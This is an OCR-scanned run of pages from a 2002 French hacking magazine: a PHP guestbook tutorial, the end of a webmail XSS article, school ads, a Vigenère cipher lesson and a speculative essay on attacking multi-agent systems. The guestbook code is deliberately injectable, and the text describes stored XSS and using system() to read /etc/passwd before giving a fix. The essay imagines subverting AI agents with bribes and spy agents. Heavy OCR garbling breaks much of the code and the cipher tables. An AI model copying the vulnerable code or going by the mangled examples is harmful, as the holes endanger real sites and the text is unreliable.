qu’unsigne lelivre d’oretévidemment toute
| lamise en page HTML 2 ajouter, etc. Mais
la structure reste la méme, a I’exception
deslivres d’or qui fonctionnent avec MySQL
ou d'autres bases de données.

b) Exemple :

index PHP3
<p align="center"> <i1><h><font size="8">Livre
d'or</font></t></u>
<form method="POST" action="ajouterPHP3">
Pseuds : <input type="text" name="rom"
$ire="39"> <lip>
Email : <inpin type="tex1" name="emajl"
sirs="34"> <fr>
Message: <input type="text" name="message"
sie="99"> <br>
<Input type="submit" value="Envoyer"
name="B1">&nhsp; <input type="peset"
value="Rétablir" name="82">
</form>
<cefler><b><?inchide(“nbmessage.d"); 7> mes-
sa5e(s) sur le fivre d'or.</b></center>
<Yinchude("message.bd");?>

Cut here

HACKERE VOIGE/ JANVIER 2002

ajouterPHP3
<?

$ilename = "message.xt";
81l = fopen( $filename, “r");
Slecture = fread( $it, flesize($filename));
Ichose( 8 ); -
8 = fopen( “Sfilename", “r+");
Tpus(8m,"<a hret=\"maifto:3emai\"> $nom</a>
<hr>$message
\nSlecture");
felose($ip);
m " <h'>ll:
echo "' <center>Votrg message a bien 6té
ajouts </centep>";
Sip=fopen("nbmessage.i","r+");
Shits=fye1s($ip,10);

4+,
fseek($f,0);
fputs(8fp,Shits);
t:!osa(sm);
>

cul hers

Dans cet exemple, toute la mise en page
HTML, les tableaux etc. ont été supprimés
pour éviter de mettre des pages de code. ..
Expliquons :

Tout d’abord, dans le fichier index.php3,
on faitun formulaireen HTML avec un champ
pour le nom et un autre pour le message. Quand
le formulaire est posté, il est envoyé 4 la
pageajouter.php3. La page ajouter.php3 recoit
done deux variables : "nom" et "message" qui
prennent les valeurs données par |’ utilisateur
ayant rempli le formulaire.

Une fois ces variables recues, le code PHP
va créer un fichier message.txt et va mettre
a Iintérieur de ce fichier les valeurs attri-
buées aux deux variables. Une fois que celui-
ciestenregistré, s’affichea I’écranun message
de confirmation (fonction " echo ").
Pourterminer le code de la page, ajouter.php3
va incrémenter de 1 le nombre de mes-
sages et va stocker le nouveau chiffre dans
nbmessages.txt. Comme |’ option r+ est
utilisée, ’ancien numéro sera écrasé par le
nouveau.

La page index.php3 n’a plus qu’a afficher
le contenu de ces deux fichiers avec :
include(). _

Bien entendu, un vrai livre d’or ne se com-
pose pas que de cela. A ceci, il faut ajou-
ter des conditions sur le formulaire, par
exemple interdire I’envoi du formulaire si
le message est vide. Ce qui donne :

if (empty($message)){

gcho "<rs"

65h0 "<center>Venillez metire Ln message </centar>":
}

Voila pour la présentation et I’explication
du fonctionnement d*un livre d’or.
Certains problemes vont se poser, ¢’est ce
que nous allons voir. ..

i) Les problémes :

Enobservant le fonctionnement du livre d’or,
nous remarquons que les variables sont direc-
tement stockées dans le fichier messages.txt
puis ré-injectées dans la page index grice
a include(). Comme aucune vérification
du contenu de ces variables n’est effec-
tuée, ceci pose un grave probléme de sécu-
rité !

En effet, imaginons que vous donniez ceci
pour valeur a I’'une des variables : <b><cen-
ter>MOI</center></b>

Etbien lerésultat surlapage index, ¢’est tout
simplement que le code HTML va étre

exécuté et donc le " MOI " va étre affiché

en gras et au centre de la page.

Je pense que vous avez maintenant saisi le
probléme. Bien siir, un code malveillant
(HTML ou javascript) peut étre ainsi insé-
1€ et exécuté par tous les visiteurs. Cela
peut modifier I’aspect du forum, le rendre
inutilisable, faire poster des messages
automatiquement par les visiteurs, récupé-
rer des cookies sur le disque dur du visi-
teurenexploitant une faille d'Internet Explorer,
ete.

De plus, il est également possible d’insé-
rer du code PHP qui sera exécuté par le
serveur ! On peut par exemple insérer un
phpinfo() pour obtenir toutes sortes d’in-
formations. Encore plus grave, en utilisant la
fonction system(), on peut obtenir facilement
le fichier etc/passwd ou d’autres fichiers sen-
sibles.

Les possibilités qu’offrent cette faille sont
donc énormes !!

i) Sécurisation du code :

I1 va falloir penser a sécuriser tout cela
afin qu’aucun script ne puisse étre exécuté
sur le livre d’or.

Notre probléme est que du code peut étre exé-
cuté sur la page index, et ce code est conte-
nu dans une des variables. Il va donc falloir
vérifier le contenu des variables pour
empécher I’injection de code malveillant.

n PHP, c'est que l'on peut y
Méthode de sécurisation en

Nous devons donc ajouter une routine qui
va vérifier si les variables ne contiennent
pas de code. Pour cela, on peut facilement
reconnaitre et trouver un caractére dans
une chaine. Linsertion de code est carac-
térisée par les balises : < et >, I1 suffit
donc d’ajouter un petit morceau de code dans
la page ajouter.php3 qui va rechercher ces
caractéres dans les variables et les rempla-
cerpar unautre caractére. Et seulement ensui-
te, on pourra stocker les variables dans le
fichier messages.txt qui sera lu par la page
index.

Nous allons utiliser la fonction str_repla-
ce(). Comme ceci :

$message = str_replace("<
Smessage = str_replace(">","." $message;
Snom = str_replace("<","." Snom);
smm = ﬂl‘_l‘ﬁm(">"; ||.||'mn ;

i)

Cemorceau de code estaajouter dans le fichier
ajouter.php3, tout au début.

Une fois cette modification apportée, rées-
sayez d’insérer du code. Vous verrez querien
ne pourra étre cxécuté.

Pourreprendre le méme exemple, si vous insé-
rez <bh><center>MOI</center></b> dans
une des variables, le résultat sur la page
index.php3 ne sera pas I'interprétation du
code (le MOI en gras et centré) mais plu-
ot ceci

.b..center. MOL/center../b.

Ce qui est incompréhensible pour le navi-
gateur et donc aucun code ne sera exécuté :)
Le probleme de cette solution - remplacer par
un point - est qu’elle est un peu trop "radi-
cale" car elle peut modifier le contenu des
messages légitimes, La meilleure méthode
consiste donc a remplacertous les caractéres
speciaux < et > par leur codage en "entité
HTML"qui sont respectivement &lt; et &gt;.
Le navigateur affichera les caractéres > et
< aI’écran, sans les considérer comme des
délimitateurs de balises HTML.

Auteur : Johan M.

De I'quine secureNT2000
www.securent-2000.com
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* Attaque par Brute Forcing du mot de
passe possible si l'acces a une boite n'est
pas désactivé aprés un certain nombre
d'essais infructueux, et si les mots de passe
faibles sont autorisés (exemple : quatre
chiffres)

* Si l'activation du javascript dans le navi-
gateur est nécessaire pour pouvoir utiliser
le service, cela facilite grandement la tiche
de l'attaquant. C'est méme suicidaire !

V. utiliser un dispositif de filtrage sir

C’est tres difficile, pour ne pas dire impos-
sible. J’ai pu trouver le mois dernier que méme
les méthodes de filtrage de Yahoo! Mail et
Hotmail avaient de gros problémes de
sécurité, permettanta du javascript d’étre exé-
cuté.

Les méthodes de filtrage utilis¢es chan-
gent suivant chaque site, chaque applica-
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tion. Elles ont toutes leurs qualités, mais
surtout leurs défauts. I1 faudrait faire une
recherche sérieuse surce probléme, en coopé-
ration avec plusieurs développeurs de services
webmail pour aboutira une solution standard
relativement efficace et stire. Sides gens sont
intéressés, mailez-moi pour y participer !

V. Références

Laplace étantlimitée, je necite pas tout. Une
liste compléte de références seraincluse dans
la version anglaise de ce document qui
sera publiée sur BugTraq et dans 1I’édition
internationale de HZV (quand j’aurai eu le
temps de le traduire ! ;)

[1] CERT Coordination Center : Unders-
tanding Malicious Content Mitigation for
Web Developpers.

[2] CERT Advisory CA-2000-02 : Malicious
HTML Tags Embedded in Client Web
Requests.

[3] Jochen Topf, The HTML Form Proto-
col Attack, 15/08/2001
http://www.remote.org/jochen/sec/hfpa

[4] Jeremiah Grossman (WhiteHat Securi-
ty), Web Application Security, 02/10/2001
http://www.whitehatsec.com/toorcon2001/
index.htm

[5] FozZy, communiqué de la Hackademy,
12/12/2001
http://www.dmpfrance.com/comHotmail.html|
[6] Marc Slemko, Microsoft Passport to
Trouble, 05/11/2001
http://alive.znep.com/~marcs/passport

[7] mparcens, Yahoo/Hotmail scripting
vulnerability, worm propagation, 30/05/2001
http://www.sidesport.com

[8] Microsoft Security Team, Cross-site Scrip-
ting Overview, 02/02/2000
http://www.microsoft.com/technet/securi-
ty/topics/csoverv.asp

{9] Jeremiah Grossman (WhiteHat Securi-

ty), 15/08/2001

http://www.whitehatsec.com/labs/adviso-
ries/WH-Security Advisory-08152001.html

[10] Jeremiah Grossman (WhiteHat Secu-
rity), 23/08/2001
http:/www.whitehatsec.com/labs/adviso-
ries/WH-Security Advisory-08232001 html
[11] Ben Li, 23/01/2001

Windows Security (win2ksecadvice) mai-
ling list archives

[12] Georgi Guninski security advisory
#5, 2000

[13] Marc Slemko, Re: [imp] sanitizing html,
23/02/2000

Vuln-dev mailing list archive

Voila, ce fut long mais si bon ;)

Jlespére que ce texte serautile a tout lemonde,
développeurs comme utilisateurs, a des
fins positives. Et signalez-moi mes erreurs
et oublis éventuels... Toute contribution
sera utile.

A la prochaine !

Furly
Hackademy. Member of Staft
lmy@imyirance.som
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WELCOMZ ZATAZ MAG

Les habitués tu site Zataz.com sont déja au courant de la sortie
d'un nouveau magazine d'information sur I'underground informa-
tique francais : Zataz Magazine, version papier du site Zataz.

Nous connaissons hien Damien (Bancal) qui dirige ce nouveau
(bon) magazine et nous lui souhaitons bonne chance.

7ataz magazine 32 pages 12 francs chez les marchands de jour-

naux.
Tommy

Hackerz Voice International Edition

Hacker: Voice dispose désormais 4'une édition internationale en anglais,
accessibile par abonnement dans |e monde entier

Votre journal affirme ainsi encore d'avantage son role de publication de référence dans |'univers
du white hacking et de la sécurité informatigue. Nous souhaitons donc la bienvenue dans Ia famil-
le 2 tous nos nouveauc lecteurs indiens, tcheques, espagnols, allemands, russes, népalais,
japonais, croates, israeliens ainsi qu'a tous ceux qui viendront nous rejoindre...

L’ augmentation continue tout au long de l'année 2001 de la qualité des articles de nos
journaux, et la reconnaissance internationale qui s’en est suivie, sont allées de paire avec
un intérét manifeste des médias internationaux pour Zi HackademY. Elle a ¢t¢ annoncée et
saluée par de nombreux intervenants de I’underground tant au niveau européens que dans
les pays les plus lointains du Globe. Méme les hackers népalais lisent Hackerz Voice !

Seule une édition internationale pouvait permettre de satisfaire ce besoin d’une infor-
mation libre et dépassant la barriére du francais. Cette approche colle trés bien 4 nos
motivations. Cette édition internationale est donc bien str dispenible en anglais. Sa
parution trimestrielle (paral]element au passage en mensuel d*Hzv dés le numéro 9)
propose une sélection des meilleurs articles parus dans Hzv et Les manuels hors série.

Elleest disponible uniquement par abonnement, en version papier ou Pdf au prix de 20 euros
pour I’année {4 numéros). Pour toute info et pour souscrire : Www.dmpirance.com

La rédaction

0 0000000000000 00000000000 8080 0ee0eaEeEsece e ssesssstsosiosstossssssssncoacssnceceosnsocoeecnecccocncscscccsscotscsecioenesnnosossocssosesss

JOIN Zi HackAdemY, I'ecole de Hacking de Haclerz voice

Bonne nouvelle : nous avons ouvert de nouveaux cours et un nouvel espace

pmn-dmmrlacanacitédaccueiidemn*eécoledeﬂaddnguéswmaiscélehredamlemndeenﬁen

Au programme, en plus des sessions Newbies, Wild et intrusion : une formation a Linux et a la programmation en C.
Sont également proposées : formations réseaux, protocoles et faille, ARP, IP, TCPSSH, SSL, HICQ, IDS, etc....
Tous ces cours sont également accessibles par correspondance en francais ou en anglais.

Comment s'inscrire ?

Par téléphone en appelant le 01 40 21 01 20 du mercredi au samedi inclu, de
11H a 19H. Pour connaitre les disponibilités un seul contact : Billy Dub au
01 40 21 01 20 ou par mail : billydub@dmpfrance.com Insistez !

Sur place du mercredi au samedi inclu, de 11H a 20H. Notre adresse : 1 Villa
du clos de Mallevart (anciennement 7 rue Darhoy) 75011 Paris. M° goncourt
Par courrier postal ou par mail:
_hackademy@dmpirance.com

Les tarifs

450 FF (68,6 euros) pour un cycle complet d'enseignement.

Newnbi (9heures en 3X 3 heures)

Newnbi + (Sheures en 3X 3 heures)

Wild (8heures en 3X 2 heures)

Intrusion: une session de Sheures

Cours thématiques Linux, C, archi réseau... : (8 heures en 4X2h)
Formations entreprises et corporate : contacter fozzy@dmpirance.com

Toutes les infos, programme tes cours, photos et inscription sur WWW.[lmmFa“[:ﬂ.[:ﬂm |

n
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Ceypto part 3 (tales from the crypt)

Le Carré de Vigenere

\'apparition de L cryptologie a inévitablement fait apparaitre ta
cryptanalyse. in message devant étre tenu privé, méme

st il tombait entre des mains étrangéres ne devait pas trahir un
quelconque secret, Ainsi apparurent les premiéres méthodes

de stéganographie (dissimulation de messages) suivies de la
aryptologie (substitution, systémes a clefs, ...).

L'histoire a vu apparaitre de nombreuses personnalités (Bab-
bage, Rivest Shamir et Adleman, responsables de la créa-
tion dunouveau systéme de cryptologic RSA, ...). Lactyptographie
a d'ailleurs joué un grand réle dans le cours de I'Histoire, ¢t
le décryptage ou non de certains messages aurait pu changer
le cours de I'Histoire. Nous allons nous pencher sur les tra-
vaux d'un diplomate du 16 Siécle: Blaise de Vigenére.

Ses travaux, sur la cryptographie a sens unique (qui fait que
I'on eryple et décrypte avec la méme clef) amenerent des
scientifiques américains du 19°™ Siecle a créer un systéme
de cryptage utilisant un chiffre a usage unique (que I'on
n'utilisera qu'une seule fois) incassable, littéralement le
Graal de la cryptologie.

Utilisons, selon Iidée d'Alberti (15 Si¢cle) deux, ou plus,
alphabets chiffrés pour coder un alphabet clair.

Aiphabiet clair ABCDEFGHIJKLMNOPQRSTOVWXYI
Alphabe! chiffré 1 GHUKJPMOTRVKNABIWYELFDSCIQ
Alphiahet chiffré 2 MLKOSBFJHGPOIUAYITURNBEXEW

Pour crypter le message "bonjour" nous allons erypter B
avec la lettre qui y correspond du premier alphabet chiffre,
0 avec la lettre correspondante du deuxiéme alphabet, N
avec la lettre correspondante du premier, etc... Ainsi "bon-
jour" donne "HAAGBNY". Notons que dans un message
crypté laponctuation, les distinctions entre majuscules et minus-
cules n'ont pas lieu d'étre. Cependant Alberti n'a pas su arri-
ver aux bouts de ses travaux, et cefte tache revint a 3 chercheurs:
Jean Trithéme (15¢™ Siécle), Giovanni Porta et Blaise de
Vigenére (16 Siécle). Ce fut Vigenere qui fournit la forme
finale de ce systéme de cryptage, ¢'est donc ainsi que ce
procédé porte son nom. Ce procédé nécessite T'utilisation
d'un Carré de Vigenére, comme suit:

Clalr ABCDEFEHIJKLMHOPRRSTUVWIYL
1 BCBEFRHIJNLMNOPQRSTHUWXYZA
2 GOEFGHISKLMNBPQRSTOVWXYIAB
3 BEFERIJKLMNOPARSTUVWXYZABE
4 EFGHIJKLMNBPRRSTEVWNYZABED
5 FEHIJKLMNOPRRSTUVWXYIABCDE
B GHIJKLMNBPQRSTUVWXYLZABCREF
1 HIJKLMNOPORSTUVWKYZABGDEFG
3 IJKLMNOPQRSTUVWNYZABCDEFGH
] JKLMNOPQRSTUVWNYZABCDEFGHI
1] KLMNOPQRSTUVWXYZABCDEFEHIJ
1 LMNOPQRSTUVWXYIABCBEFGHIJK
12 MNOPQRSTUVWXYZABCDEFGHIJKL
13 NOPQRSTUVWXYZABCDEFGRIJKLM
" OPQRSTUVWXYZABCDEFGHIJKLMA
15 PORSTUVWXVZABCBEFGNIJNLMND
18 QRSTOVWXYZABCDEFEHIJKLMNOP
17 RSTUVWXYZABCDEFGRIJKLMNOPQ
18 STOUWXYZABCREFGHIJKLMNGPQR
18 TUVWXYZABCBEFGRIJKLMNOPARS

2 SYWXYZABCBEFEHISKLMNOPORST
2 VWXYZABEDEFGHIJKLMNOPARETY
2 WXYZABCBEFGRIJKLMNBPRRSTUY
2 KYZABCBEFRHIJKLMNOPARSTUVW
0 YZIABCDEFEHIJKLMNOPQRSTEVWX
4] TABCDEFGRIJKLMNOPQRSTUVWXY
ABCDEFGHIJKLMNOPQRSTOVWXYL

Si, pour crypter unmessage, 'expéditeurn'utilisait qu'une seule
ligne du carré, le cryptage serait d'une grande simplicité & déchif-
frer, se basant sur un faible procédé de cryptage, connu sous
le nom de Chiffre de César (on décale les lettres d'apres un
certain nombre invariable). Mais si 'expéditeur utilise diffé-
rentes lignes du tableau (par exemple la 12, puis la 23, ...), le
systeme devient plus complexe et il est dés lors nécessaire
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que lc destinataire ait connaissance des lignes choisies utili-
sées pour crypter chaque lettre, afin de décrypter le message
en entier. Cet accord se fait grace & un mot-clef. Voyons en
exemple comment utiliser une telle clef pour crypter le mes-
sage: "fire in the hole".

Tout d'abord, le mot clef est épelé bien clairement au-dessus
du message, et répété en boucle de sorte que chaque lettre
du message soit associé a une lettre de la clef. Prenons
comme mot-clef: "affirmative".

blet RFFIRMATIVERF
Message en clair FIREINTHEHOLE
Pour crypter on procéde ainsi: pour la premiére lettre F (de
"fire in the hole"), identifiez la lettre clef qui s¢ trouve au
dessus. Ainsi ici il s'agit de A (de "affirmative"), qui déter-
mine une ligne particulicre du Carré de Vigenére. La ligne com-
mengant par A est la dernicre (20), et c'est cette ligne qui va
définir l'alphabet & utiliser pour crypter la lettre I et F uni-
quement.

On cherche dans le carré 4 quoi correspond en crypté, la
lettre F. I1 s'agit de F (il ne s'agit pas de hasard, c'est du au
fait que I'on a utilisé A comme référence, l'alphabet clair et
le 26™ alphabet se superposent). Pour que ce soit bien clair,
on va continuer le processus. On regarde la lettre au dessus
du 1 {de "fire in the hole"), il s'agit de F (de "affirmative").
Dans le tableau, la ligne que I'on va utiliser au cryptage est
laligne 5 carc'estsurelle que lalettre F estplacée au début. Puis
on regarde a quoi correspond, avec cet alphabet, la lettre
cryptée que I'on va placer pour remplacer la lettre I On croi-
se les lignes ct on s'apercoit qu'il s'agit de N. On obtient
rapidement le résultat suivant :

Clel AFFIRMATIVERF
Message en clae FIREINTREHOLE
Message crypis FNWMIZTAMESLY

Le seul message qui circule est crypté et si il tombait entre
des mains malvenues, le cryptanalyste ne pourrait lui appli-
querune méthode classique, qui consiste a analyser la fréquence
d'apparition des lettres pour en déduire leur véritable nature. Par
exemple au milieu de notre message crypté on retrouve deux
fois 1a fettre Z ce qui n'indique pas du tout qu'il s'agit de la
méme lettre dans le message en clair. Le destinataire n'a
plus qu'a utiliser la clef pour décrypter le message crypter. 1
n'y a que lui et l'expéditeur qui possédent la clef. Le destina-
taire doit effectuer le travail en sens inverse: pour la 2+ lettre,
par exemple, il va chercher laligne commengant par F (de "affir-
mative") et va chercher la lettre en clair qui correspond au N
du message crypté.

Mais le Carré de Vigenére comperte, comme quasiment tout
systéme, une faille.

Cette faille c'est Charles Babbage qui la mettra en évidence
au 194 sidcle. Par exemple si le mot-clef pour crypter la
lettre Eest "AWP" il n'y aalors que trois fagons différentes d'en-
crypter la lettre selon sa position dans le texte.

Prenons 'exemple de cette phrase : "thé russe thé jasmin thé
chine" (o I'on fait s'y répéter le mot "thé" trois fois), le mot
clef est "KILO™:

Clef NILOKILOKILOKILOKILBKILOK
Message ea ciair therussethsjasminthechine
Message crypté BPPFEABSBPPAKAXWXBSSMPTRE

Ici "thé" est crypté par deux fois DPP et une fois BSS. En
effet thé a été crypté par deux fois avec les lettres KIL du
mot-clef. Babbage a ainsi exploité cette faille (qui est pré-
senté trés trés succintivement, nous n'allons pas nous attar-
dersurses travaux) pour tradujre un texte crypté avec le systeme
du Carré de Vigenére. Mais supposons que nous créions une
clef qui soit de la méme longueur que le texte.

Glet 77177991779%09922791011
Message en clair 7797799771097°2°72001202919
Message crypté NEFTRNOVEMEDYXJTLUWEJS

On va supposer maintenant que ce texte comporte au moins
une fois le déterminant "les". On va placer les a divers
endroits du texte et regarder ce que cela donne.

Clef CANT?TRAMIT227YPT27770
Message en cae LES?77LES?7772LEST 172
Message crymté NEFTRNBVEMEDYKJTLUWUJS

Nous avons placé les arbitrairement de maniére & tenter de
discerner la signification de la clef. On a trouvé CAN ce qui
peut correspondre 4 quelque chose de correct. On va le gar-
der. On a trouvé DRM, nous en le garderons pas car il est
peut probable que cela donne quelque chose de concluant.
On a trouvé YPT et on va le garder car il est possible que la
clef contienne un mot avec YPT. On va tester différents mots
qui comportentYPT etnous verrc 1s si onobtientquelque chose
de concluant au niveau du message en clair.

Clet CAN??7977727CGRYPTER?2Y

Message en clam

Message crypté NEFTRNOVEMFDYXJTLUWUJS
Apremment CRYPTE ne donnerien de prometteur. Nous allons
essayer EGYPTE.

Glef CAN??7729977ERYPTE?21?
Message en clair LES?79777277URLESQRYY?
Message crypié NEFTRNOVEMFDYXJTLUWUDJS

La suite donnée dans le message cryptéc a un sens. Nous
pouvons donc penser que EGYPTE peut correspondre & une
partie du mot clef en ayant fait apparaitre URLESQUE de
"burlesque” ou d'un morceau de phrase comme “sur les q...".
Nous avons frouvé comme mot EGY PTE et nous avons au debut
CAN probablement issu de CANADA.

Clet CANABA??7?77EGYPTET21?
Message o clar LESTONT?7777BRLESRI?T?
Message crypé NEFTRNGVEMFBYNJTLEWBJS

L'essai semble avoir été concluant. Ainsi on peuten déduire que
ton de leston veut dire: "les tonnes" "les tons" "les ton-
neaux", etc... On va essayer "les tonneaux”.

Clet CANABABRESITEGYPTE??27?
Message ea clair LESTONNEAUKTURLESET2?7?
Message crypté NEFTRNOVEMEBYXJTLEWNJS

On a presque trouvé un autre morceau de clef correspondant
siirement 2 BRESIL. On va transposer puis s¢ demander ce
qui pourrait aller comme mot clef a la fin en sachant que
T'on a jusqu'ici des noms de pays. On peut songer a CUBA.

Clet CANADABRESILEGYPTECUBA
Message en clale LESTONNEABXSURLESQEAIS
Message crypté NEFTRNOVEMFBYXJTLUWUJS

Le message semble avoir été décrypté. La faiblesse du syste-
me tenait en la suite logique que formaient les caractéres
composant la clef. Ainsi en utilisant une clef dénuée de sens
et qui correspond a la longueur du message on obtient un
résultat surprenant. Ainsi méme en plagant des petits mots comme
ce que nous avons fait ci-dessus, le cryptanalyste ne peut
savoir si son choix est bon car il n'y a pas de logique ou de
signification de la clef. Pour un message de 21 lettres il y a
500 000 000 000 000 000 000 000 000 000 de clefs pos-
sibles ce qui rend le décryptage du message littéralement IMPOS-
SIBLE. D'ailleurs méme en faisant toutes les clefs possibles
il y aurait un obstacle majeur au décryptage du message: on
pourrait trouver le bon, mais aussi de mauvais.

La sécurité du chiffre a usage unique (ne perdons pas de vue
qu'il ne faut utiliser la clef qu'une fois sinon il y a possibili-
té, que je n'explicite pas, de décrypter) tient a la rédaction
aléatoire de la clef. Ce chiffre est réellement d'une strreté
absolue. Rien ne peut en venir & bout, rien.

Principale ressource: Histoire des codes secres, Simon

Singh.
Da Stvifom (member of 5 HackAdemY)
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SMhAck the system

Méme s'il y a encore des puristes qui soutiennent le contraire, l'informatique est une science a part entiére. Contrairement 4 une idée
regue, I'évolution d'une science n'est pas continue, elle se fait par paliers. On peut comparer ce phénoméne au déferlement des vagues
lors d'une marée montante : chaque vague recouvre soudainement un peu plus le rivage. En termes savants, on appelle chaque vague
un paradigme. Pour illustrer ce propos, prenons notre science favorite : 1'informatique. Toute théorie, en informatique, aboutit logique-
ment 4 la conception d'un programme, rendue possible par un langage de programmation. Il existe donc une correspondance entre
paradigme et grande famille de langages. Le paradigme procédural a aboutit & Fortran, Pascal, C. Puis, au paradigme fonctionnel cor-
respondent les langages tels que Lisp ou Scheme. Enfin, le paradigme dominant actuel est celui de I'objet, auquel correspond les lan-
gages les plus récents comme C++ et Java. Le prochain paradigme dominant est probablement celui de 'agent (pas aussi dangereux
que I'agent Smith de Matrix, rassurez-vous n.

L'agent est un objet évolué qui est doué d'une autonomie qui lui sert @ satisfaire ses buts. Ce concept n'est pas étranger des pirates

puisqu'ils en sont a l'origine. En effet, les premiers agents de I'histoire " numérique " sont les virus. Ils sont autonomes car ils ne sont

pas controlés. Leur but est de détruire le systéme ou de se reproduire (et " inconsciemment " de faire la fierté de leur concepteur ;-).

Les applications du futur seront des systémes multi-agents (SMA). Les avantages sont multiples :

- distribution des calculs sur un réseau de machines (parallélisme)

- résistance aux pannes (Ja perte d'un agent ne compromet pas le reste du systéme)

- auto-organisation sans contrdle centralisé (pas de lieutenant borné :-D )

- émergence d'un comportement compliqué a partir d'une interaction de comportements élémentaires (une fourmis seule n'est rien,
mais la fourmili¢re accomplit des travaux complexes)

Dans les labos des chercheurs, des applications voient le jour. Ainsi, larecherche d'informations par les moteurs de recherches, tres ennuyeu-
se et souvent inefficace, est remplacée par un SMA ot les agents se déploient sur Internet et collectent des informations. Si un site est
trés intéressant l'agent déposera un marqueur (comme les phéromones de nos amies les fourmis) pour orienter les autres vers cet
endroit. En matiére de sécurité informatique, on peut imaginer que la surveillance du réseau s fasse par un SMA. Au lieu que I'admi-
nistrateur ait la lourde tiche de batir un mur a chaque trou de sécurité, le SMA se charge de se répartir et de s'adapter a la technique
du hacker.

La coutume du monde du piratage est de se servir des artifices de la victime contre elle-méme. Les capacités des SMA résident dans
V'interaction des agents. Iis doivent nécessairement communiquer pour s'organiser et se répartir la tiche. Qui dit communication dit
protocoles ; les hackers ont dans ce domaine une expérience et une compétence non négligeable. Mais d'autres techniques de piratage,
moins classiques, sont @ prévoir.

Les modéles d'organisation des SMA sont pour la plupart inspirés des animaux ou des hommes. Par exemple, un SMA peut étre basé
sur des votes (démocratic). Si le SMA est fortement hiérarchisé, l'analogie est militaire. Enfin un SMA peut fonctionner sur le princi-
pe de la loi du marché (offres, demandes, encheres ...), il sera des lors qualifié de capitaliste (attention aux agents américains impi-
toyables dans ce domaine !). Pour déjouer de tels systémes, le hacker devra acquérir des connaissances en sociologie (un comble pour
sa réputation d’homo-informaticus accro a son clavier). A la maniére de nos chéres langues de bois que sont nos gouvernants, il pour-
ra user de marchés truqués, de pots de vin ou de différents trafics d'influence. Nous pouvons aussi imaginer, l'infiltration d'un agent
espion soigneusement programmé (James Bond est toujours tiré a quatre épingles) chargé d'étudier le comportement des agents vie-
times : une sorte de sniffing orienté agent. Les informations récoltées pourront servir & I'apprentissage des agents qui passeront  I'at-
taque aprés cette phase de renseignement (Le prédateur doit bien connaitre sa proie, sans quoi il rentre bredouille dans sa taniére).

En ce qui concerne les organisations animales, le pirate pourra, par exemple, provoquer une diversion en attirants les agents par des
dépbts de phéromones. Mais ces sociétés d'agents sont plus difficiles & dérouter du fait de leur compléte décentralisation et de I’extré-
me simplicité de leur mode de communication, n'offrant que peu de portes cachées. Pour remédier a ce probléme et aprés avoir bou-
quiné la sociologie, il pourra s'orienter vers la biologie. La théorie de 'évolution, de Darwin, lui donnera toutes les notions nécessaires
4 la conception d'un algorithme génétique. Pour vous éviter toute la Tecture de la bibliothéque du coin, voici 'ossature commune a
tout les algorithmes génétiques :

Représenter les individus (ici des agents) par des ensembles de génes (des chromosomes)

TANT QUE Ia poplation ne s'est pas adaptée 3 I'environnement (ici le systeme cibie)
{
Effectier an kasard des mutations el des croisements
Sélectionner les meillewrs individus
}

Une mutation consiste A modifier légérement un géne d'un individu. Le croisement permet la création d'un nouvel individu & partir dumélan-
ge de deux autres en mixant leur chromosomes. Avec cet algorithme, le hacker pourra faire évoluer une tribu d'agents pirates qui aura
la'capacité d'attaquer un réseau entier de machines. La victime sera plongée sous une avalanche d'attaques qui lui sera pratiquement
impossible de repousser, si ce n'est par une armée d'agents de sécurité dotée de la méme faculté d'évolution.

Nous l'avons vu, le piratage est loin d'étre mort. Les perspectives sont illimitées et s'orientent vers une guerre stratégique entre four-
mis informatiques. Le hacking s'enrichira certainement de cette diversification. Il touchera, en plus de la programmation réseau et
systéme, les techniques de 'intelligence artificielle.

Cependant, " Constamment en mouvement l'avenir est " disait maitre YODA. De ce fait, il est possible que I'anticipation délivrée dans

cet article se révéle pure science fiction gardant toutefois, je I'espere, sa ualité divertissante.
g P! q
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